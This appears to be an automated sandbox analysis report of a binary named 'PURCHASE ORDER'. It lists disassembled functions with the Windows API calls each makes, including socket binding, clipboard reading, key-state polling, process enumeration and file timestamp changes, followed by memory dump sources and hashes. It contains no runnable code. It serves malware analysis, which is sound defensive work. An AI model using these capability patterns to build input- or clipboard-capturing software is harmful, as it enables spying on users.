                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CopyVariant$_wcslen$ActiveBindCreateDisplayErrorFromInitializeLastNameObjectParseProg_wcscpy
                                                                          • String ID: HH
                                                                          • API String ID: 1915432386-2761332787
                                                                          • Opcode ID: e5cc958d5f324366fbee3d2ecbe33304f19c15b46d8e68c756c5eb73bbadfcb0
                                                                          • Instruction ID: 7e3b4e38c6064d991530b19baaff212313fd3e9d55f264e0ba959e8ba912c45c
                                                                          • Opcode Fuzzy Hash: e5cc958d5f324366fbee3d2ecbe33304f19c15b46d8e68c756c5eb73bbadfcb0
                                                                          • Instruction Fuzzy Hash: 6C915C71604301ABD710EB65CC85F9BB3E8AFC8714F10892EF64597291EB78E909CB5A
                                                                          Function 0044ED9A Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 448COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: DEFINE$`$h$h
                                                                          • API String ID: 0-4194577831
                                                                          • Opcode ID: 924177e0c3576f85a96b78a37b3c3cedf46843da4e7c3acb3e3d7f55582469aa
                                                                          • Instruction ID: b1cbab3e2140d6a963e4b85c5b61650905c2e88cbb7a9c7ccaf19de07e543520
                                                                          • Opcode Fuzzy Hash: 924177e0c3576f85a96b78a37b3c3cedf46843da4e7c3acb3e3d7f55582469aa
                                                                          • Instruction Fuzzy Hash: 9802A1715083818FE725CF29C88076BBBE2BFD5304F28896EE89587342D779D849CB56
                                                                          Function 0046483C Relevance: 10.6, APIs: 7, Instructions: 103networkCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • socket.WSOCK32(00000002,00000001,00000006,?,00000000), ref: 004648B0
                                                                          • WSAGetLastError.WSOCK32(00000000,00000002,00000001,00000006,?,00000000), ref: 004648BE
                                                                          • bind.WSOCK32(00000000,?,00000010,00000002,00000001,00000006,?,00000000), ref: 004648DA
                                                                          • WSAGetLastError.WSOCK32(00000000,00000000,?,00000010,00000002,00000001,00000006,?,00000000), ref: 004648E6
                                                                          • closesocket.WSOCK32(00000000,00000000,00000000,00000000,00000005,00000000,?,00000010,00000002,00000001,00000006,?,00000000), ref: 0046492D
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: ErrorLast$bindclosesocketsocket
                                                                          • String ID:
                                                                          • API String ID: 2609815416-0
                                                                          • Opcode ID: f055706b1daf61e2065e9fedb91be4565bf8eae27f8502184711caae908a2a6c
                                                                          • Instruction ID: d240999dee57073d64b91b26c15bb406cb7727aead8f71c00845428af50f987f
                                                                          • Opcode Fuzzy Hash: f055706b1daf61e2065e9fedb91be4565bf8eae27f8502184711caae908a2a6c
                                                                          • Instruction Fuzzy Hash: C731CB712002009BD710FF2ADC81B6BB3E8EF85724F144A5FF594A72D2D779AC85876A
                                                                          Function 0043701F Relevance: 10.6, APIs: 7, Instructions: 76processCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • CreateToolhelp32Snapshot.KERNEL32 ref: 00437043
                                                                          • Process32FirstW.KERNEL32(00000000,00000002), ref: 00437050
                                                                          • Process32NextW.KERNEL32(00000000,?), ref: 00437075
                                                                          • __wsplitpath.LIBCMT ref: 004370A5
                                                                            • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                          • _wcscat.LIBCMT ref: 004370BA
                                                                          • __wcsicoll.LIBCMT ref: 004370C8
                                                                          • CloseHandle.KERNEL32(00000000,?), ref: 00437105
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wcsicoll__wsplitpath__wsplitpath_helper_wcscat
                                                                          • String ID:
                                                                          • API String ID: 2547909840-0
                                                                          • Opcode ID: fd838752e9d0606085fad0ec29118efadb7b5f17250a81beb0a2f2c9513d2e10
                                                                          • Instruction ID: d866d71778569fbbd99b025f777f77cc3db9ba9c83dfb601fa45888e96c7797d
                                                                          • Opcode Fuzzy Hash: fd838752e9d0606085fad0ec29118efadb7b5f17250a81beb0a2f2c9513d2e10
                                                                          • Instruction Fuzzy Hash: 9C21A7B20083819BD735DB55C881BEFB7E8BB99304F00491EF5C947241EB79A589CB6A
                                                                          Function 00452126 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 127filesleepCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                          • FindFirstFileW.KERNEL32(?,?,?,?,?,00000000), ref: 0045217E
                                                                          • Sleep.KERNEL32(0000000A,?,?,00000000), ref: 004521B2
                                                                          • FindNextFileW.KERNEL32(?,?,?,00000000), ref: 004522AC
                                                                          • FindClose.KERNEL32(?,?,00000000), ref: 004522C3
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Find$File$CloseFirstNextSleep_wcslen
                                                                          • String ID: *.*
                                                                          • API String ID: 2693929171-438819550
                                                                          • Opcode ID: 17936c38af85c1dbfc3d1ebbd0b26446ca2a596e07a4ad84d79ac0689e190811
                                                                          • Instruction ID: e6452ff64139cddd5fd774ab19bf2199aa97b2a19dc0f7115334900b47d689b2
                                                                          • Opcode Fuzzy Hash: 17936c38af85c1dbfc3d1ebbd0b26446ca2a596e07a4ad84d79ac0689e190811
                                                                          • Instruction Fuzzy Hash: BD419D756083409FC314DF25C984A9FB7E4BF86305F04491FF98993291DBB8E949CB5A
                                                                          Function 0046C5D0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69clipboardCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • OpenClipboard.USER32(?), ref: 0046C635
                                                                          • IsClipboardFormatAvailable.USER32(0000000D), ref: 0046C643
                                                                          • GetClipboardData.USER32(0000000D), ref: 0046C64F
                                                                          • CloseClipboard.USER32 ref: 0046C65D
                                                                          • GlobalLock.KERNEL32(00000000), ref: 0046C688
                                                                          • CloseClipboard.USER32 ref: 0046C692
                                                                          • IsClipboardFormatAvailable.USER32(00000001), ref: 0046C6D5
                                                                          • GetClipboardData.USER32(00000001), ref: 0046C6DD
                                                                          • GlobalLock.KERNEL32(00000000), ref: 0046C6EE
                                                                          • GlobalUnlock.KERNEL32(00000000), ref: 0046C726
                                                                          • CloseClipboard.USER32 ref: 0046C866
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Clipboard$CloseGlobal$AvailableDataFormatLock$OpenUnlock
                                                                          • String ID: HH
                                                                          • API String ID: 589737431-2761332787
                                                                          • Opcode ID: 76419e0badb028214ed7bad9e924c36871e80023f9f647d131bfc03e45e064d3
                                                                          • Instruction ID: 5556deb4c8197336e1b92b5e2a85e957832ef7964462d916cb468ff193882e13
                                                                          • Opcode Fuzzy Hash: 76419e0badb028214ed7bad9e924c36871e80023f9f647d131bfc03e45e064d3
                                                                          • Instruction Fuzzy Hash: 7301F5762042005FC300AFB9ED45B6A7BA4EF59704F04097FF980A72C1EBB1E915C7AA
                                                                          Function 00436431 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • __wcsicoll.LIBCMT ref: 0043643C
                                                                          • mouse_event.USER32(00000800,00000000,00000000,00000078,00000000), ref: 00436452
                                                                          • __wcsicoll.LIBCMT ref: 00436466
                                                                          • mouse_event.USER32(00000800,00000000,00000000,00000088,00000000), ref: 0043647C
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: __wcsicollmouse_event
                                                                          • String ID: DOWN
                                                                          • API String ID: 1033544147-711622031
                                                                          • Opcode ID: 8e71a22f1bb6dc727f393f419cee3c46fab46d9365d91d475c80ba63e0095046
                                                                          • Instruction ID: 8a73d33e481528181e274ae5662561dddcd8f7088196b39fde8242b6fe69d79f
                                                                          • Opcode Fuzzy Hash: 8e71a22f1bb6dc727f393f419cee3c46fab46d9365d91d475c80ba63e0095046
                                                                          • Instruction Fuzzy Hash: 75E0927558872039FC4036253C02FFB174CAB66796F018116FE00D1291EA586D865BBD
                                                                          Function 004741BB Relevance: 7.6, APIs: 5, Instructions: 137networkCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 004647A2: inet_addr.WSOCK32(?), ref: 004647C7
                                                                          • socket.WSOCK32(00000002,00000002,00000011,?,00000000), ref: 00474213
                                                                          • WSAGetLastError.WSOCK32(00000000), ref: 00474233
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: ErrorLastinet_addrsocket
                                                                          • String ID:
                                                                          • API String ID: 4170576061-0
                                                                          • Opcode ID: c11ce247c64ee683b380b6a697379cd3ea863651eb179087c325b129d43524e0
                                                                          • Instruction ID: 44a7e99483396e6262e636993c5e510db402c36a24f0b6146f21617b09e75fab
                                                                          • Opcode Fuzzy Hash: c11ce247c64ee683b380b6a697379cd3ea863651eb179087c325b129d43524e0
                                                                          • Instruction Fuzzy Hash: B6412C7164030067E720BB3A8C83F5A72D89F40728F144D5EF954BB2C3D6BAAD45475D
                                                                          Function 00456354 Relevance: 7.6, APIs: 5, Instructions: 127keyboardCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetCursorPos.USER32(004A83D8), ref: 0045636A
                                                                          • ScreenToClient.USER32(004A83D8,?), ref: 0045638A
                                                                          • GetAsyncKeyState.USER32(?), ref: 004563D0
                                                                          • GetAsyncKeyState.USER32(?), ref: 004563DC
                                                                          • GetWindowLongW.USER32(?,000000F0), ref: 00456430
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: AsyncState$ClientCursorLongScreenWindow
                                                                          • String ID:
                                                                          • API String ID: 3539004672-0
                                                                          • Opcode ID: 8b6f1a7d11e91e3692d621cb91ecba55955a7a9a0de246f0cd2a62484a80ce0b
                                                                          • Instruction ID: 0eacbf52c9ff4b21db6d2500407d28a57be55752a0539e191fb639d8ee6a043b
                                                                          • Opcode Fuzzy Hash: 8b6f1a7d11e91e3692d621cb91ecba55955a7a9a0de246f0cd2a62484a80ce0b
                                                                          • Instruction Fuzzy Hash: 8E416071108341ABD724DF55CD84EBBB7E9EF86725F540B0EB8A543281C734A848CB6A
                                                                          Function 004772DE Relevance: 7.6, APIs: 5, Instructions: 67windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 0046DD22: IsWindow.USER32(00000000), ref: 0046DD51
                                                                          • IsWindowVisible.USER32 ref: 00477314
                                                                          • IsWindowEnabled.USER32 ref: 00477324
                                                                          • GetForegroundWindow.USER32(?,?,?,00000001,?,?), ref: 00477331
                                                                          • IsIconic.USER32 ref: 0047733F
                                                                          • IsZoomed.USER32 ref: 0047734D
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Window$EnabledForegroundIconicVisibleZoomed
                                                                          • String ID:
                                                                          • API String ID: 292994002-0
                                                                          • Opcode ID: 1c24098bd8cb9da3f496229370c910df04dc27541171caa4f2956f9c30b83eee
                                                                          • Instruction ID: c753cb395bd8887e5e04db90522a3107d7308fd2cfa588f53a4db7a4177bc043
                                                                          • Opcode Fuzzy Hash: 1c24098bd8cb9da3f496229370c910df04dc27541171caa4f2956f9c30b83eee
                                                                          • Instruction Fuzzy Hash: 351172327041119BE3209B26DD05B9FB7A8AF91310F05882EFC49E7250D7B8EC42D7A9
                                                                          Function 00436D2D Relevance: 7.6, APIs: 5, Instructions: 52filetimeCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000,75923220,00000000,00000000,00442E95,?,?,?), ref: 00436D4F
                                                                          • SetFileTime.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00000000), ref: 00436D8C
                                                                          • CloseHandle.KERNEL32(00000000,?,?,?,00000000), ref: 00436D93
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: File$CloseCreateHandleTime
                                                                          • String ID:
                                                                          • API String ID: 3397143404-0
                                                                          • Opcode ID: 17e11168520f802dddbe8c477e19047108492bf153e6cd976562f268bfda3e60
                                                                          • Instruction ID: bce1a9391340f9688fe0750810cd2cb1b104417d8b3c1e96578cdf6de8724fbd
                                                                          • Opcode Fuzzy Hash: 17e11168520f802dddbe8c477e19047108492bf153e6cd976562f268bfda3e60
                                                                          • Instruction Fuzzy Hash: A4F0C83634132077E5301A69AC8DFCF276CABDAB32F20452EF741A61C083D51445977D
                                                                          Function 0044EBBC Relevance: 7.6, APIs: 1, Strings: 3, Instructions: 551COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: _strncmp
                                                                          • String ID: ACCEPT$^$h
                                                                          • API String ID: 909875538-4263704089
                                                                          • Opcode ID: adbbb77bd847cefbadd23aa8e42bde8f813033e7c46a43322acc698efb747d92
                                                                          • Instruction ID: 72a2cba82410d8b1d90f72ff5cad5771b474d57714a55a9933f2c727144888ce
                                                                          • Opcode Fuzzy Hash: adbbb77bd847cefbadd23aa8e42bde8f813033e7c46a43322acc698efb747d92
                                                                          • Instruction Fuzzy Hash: AE22A0746083818FE725CF29C48076BBBE2BFC9304F24896EE8D587351D779984ACB56
                                                                          Function 00446566 Relevance: 5.9, Strings: 4, Instructions: 868COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: ERCP$VUUU$VUUU$VUUU
                                                                          • API String ID: 0-2165971703
                                                                          • Opcode ID: fe5f619ecbbb89e409f3ebcf557090f4afc22d0cdf4dbad8df8e547bb5c0b5b7
                                                                          • Instruction ID: 514654dd073cfe12bfc68f6c44a091d7a3824994b709b832431b3f3de6bbd106
                                                                          • Opcode Fuzzy Hash: fe5f619ecbbb89e409f3ebcf557090f4afc22d0cdf4dbad8df8e547bb5c0b5b7
                                                                          • Instruction Fuzzy Hash: 5562D3716087818BE734CF18C8807ABB7E1EBC6314F154A2FE49986390E779D949CB5B
                                                                          Function 0045C999 Relevance: 4.6, APIs: 3, Instructions: 130fileCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • FindFirstFileW.KERNEL32(00000000,?,?), ref: 0045C9BE
                                                                          • FindNextFileW.KERNEL32(00000000,?), ref: 0045CA1B
                                                                          • FindClose.KERNEL32(00000000,00000001,00000000), ref: 0045CA4A
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Find$File$CloseFirstNext
                                                                          • String ID:
                                                                          • API String ID: 3541575487-0
                                                                          • Opcode ID: cd42767256c3935660832567e39f7af9e021373ba4cf75ddba00705dd7020de4
                                                                          • Instruction ID: 18858b47483a38653cd59612877c1399ad483e9f26b014a4aa46912757e3bc7b
                                                                          • Opcode Fuzzy Hash: cd42767256c3935660832567e39f7af9e021373ba4cf75ddba00705dd7020de4
                                                                          • Instruction Fuzzy Hash: EC41CE756003009FC720EF79D880A9BB3E4FF89315F208A6EED698B391D775A844CB95
                                                                          Function 00436ADE Relevance: 4.5, APIs: 3, Instructions: 28fileCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetFileAttributesW.KERNEL32(00000001,00000000), ref: 00436AEF
                                                                          • FindFirstFileW.KERNEL32(00000001,?), ref: 00436B00
                                                                          • FindClose.KERNEL32(00000000), ref: 00436B13
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: FileFind$AttributesCloseFirst
                                                                          • String ID:
                                                                          • API String ID: 48322524-0
                                                                          • Opcode ID: 9dc85b775151a348b3ed896f2b5842869c214baa03f23a1e311506cc1954de59
                                                                          • Instruction ID: 417b6d6de692ea6945bae3bf725251b28653fd5bce93257cef0f58e2a105c1b1
                                                                          • Opcode Fuzzy Hash: 9dc85b775151a348b3ed896f2b5842869c214baa03f23a1e311506cc1954de59
                                                                          • Instruction Fuzzy Hash: 23E02236804418678600AB7CAC0C4EE779CDB0A335F100B96FE38C21D0D775A9408FEA
                                                                          Function 00443390 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 69COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • __time64.LIBCMT ref: 004433A2
                                                                            • Part of subcall function 00414CEF: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,004341DB,00000000,?,0044248A,?,?,?,0048B850), ref: 00414CFA
                                                                            • Part of subcall function 00414CEF: __aulldiv.LIBCMT ref: 00414D1A
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Time$FileSystem__aulldiv__time64
                                                                          • String ID: rJ
                                                                          • API String ID: 2893107130-1865492326
                                                                          • Opcode ID: e603e75d0767fd135478995c8e8d26e9f594f0c4df67822259ddb38eb763753e
                                                                          • Instruction ID: ebc1a5536eae3429eadb0b33e849de59894c076497330b79c1ff8485d89898ec
                                                                          • Opcode Fuzzy Hash: e603e75d0767fd135478995c8e8d26e9f594f0c4df67822259ddb38eb763753e
                                                                          • Instruction Fuzzy Hash: B721A2336205108BF321CF36CC41652B7E7EBE0314F268A6AE4A5973C5CA797906CB98
                                                                          Function 00443391 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • __time64.LIBCMT ref: 004433A2
